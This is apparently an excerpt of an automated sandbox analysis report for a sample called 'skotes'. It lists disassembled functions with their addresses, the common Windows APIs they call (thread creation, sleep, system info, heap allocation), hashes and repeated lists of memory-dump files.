Opcode ID: 0daa015de5211ea416369abb166272ef357f6550666f6dd4a8501aeee23eae7f
Instruction ID: 2b698fbb40eaf5139d6687ca74085e67de30c2aa8036d167f1ccee08150ced7a
Opcode Fuzzy Hash: 0daa015de5211ea416369abb166272ef357f6550666f6dd4a8501aeee23eae7f
Instruction Fuzzy Hash: 12E08631B9A30099FA1033AC5C66B2D62949BE7B14F611A28E734D64D3D7D0558085A3

Function 00116D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00116D10
Sleep.KERNEL32(00007530), ref: 00116D25

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 03805dfbe58a682f3c0ba2e65c2127bc2f09c9438eb8410bcf3026104b5f7fc2
Instruction ID: 12f2faf0efb33fb8d4c9de7d08f2080f57e85647831851b112ce6b7f55bc727f
Opcode Fuzzy Hash: 03805dfbe58a682f3c0ba2e65c2127bc2f09c9438eb8410bcf3026104b5f7fc2
Instruction Fuzzy Hash: 21D08C347C4314F6F23503A02C07F96AA209B0EF62F264054B38C3F0D082E8318086AC

Function 00108380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00108524

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: d47a4ab57bc461ec51987159abde10d10d9f549485026c4cf929b7025e790229
Instruction ID: 84bc00e0e1deec353b221ed2c10dfcd11dd6d3215fc41981ac9f951fe50a5ba4
Opcode Fuzzy Hash: d47a4ab57bc461ec51987159abde10d10d9f549485026c4cf929b7025e790229
Instruction Fuzzy Hash: B2513970D042189BEB28EB68DD457EEB775DB46314F5042A8E884A72C1EFB49EC48B91

Function 00137124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,0013705B,?,?,00000000,00000000), ref: 00137166

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 1bf0fef232db37e4dfecaff080f32573b91f426d7e3e28fe976ce3dac8eb02ed
Instruction ID: 9b24f7a5e732cbf419eea5d8a5a1dd25459b357a351e62a4d9fa32d9621f3abb
Opcode Fuzzy Hash: 1bf0fef232db37e4dfecaff080f32573b91f426d7e3e28fe976ce3dac8eb02ed
Instruction Fuzzy Hash: 00112EB390410DABDB10DFD4C881EDF77BCAF49310F205262E511E2180EB30EA45CBA1

Function 0013AC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 0013AC8D

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: e4f6c774b97f34d6e33c34b0862020dd29c2c82401dd8ecffa0b2712f5c77321
Instruction ID: ef681d69e919a1d87a459a5f693d4f496b8ef6a16aaf48696993c17d31529778
Opcode Fuzzy Hash: e4f6c774b97f34d6e33c34b0862020dd29c2c82401dd8ecffa0b2712f5c77321
Instruction Fuzzy Hash: B41115B5A0420AAFCB09DF58E94199A7BF9EF48304F144069F809AB251D770EE21CBA5

Function 0013B04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,C6B03A30,?,?,0011D3FC,C6B03A30,?,00117A8B,?,?,?,?,?,?,00107465,?), ref: 0013B07E

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 75d625411c9fd18b04a9f563a81006c658791774e8086fb61696e7b167bcf84a
Instruction ID: ca171cbd8ae2371bcd783273966421e473a1f69bf3e04e13b2ef4bed8c8dd5b1
Opcode Fuzzy Hash: 75d625411c9fd18b04a9f563a81006c658791774e8086fb61696e7b167bcf84a
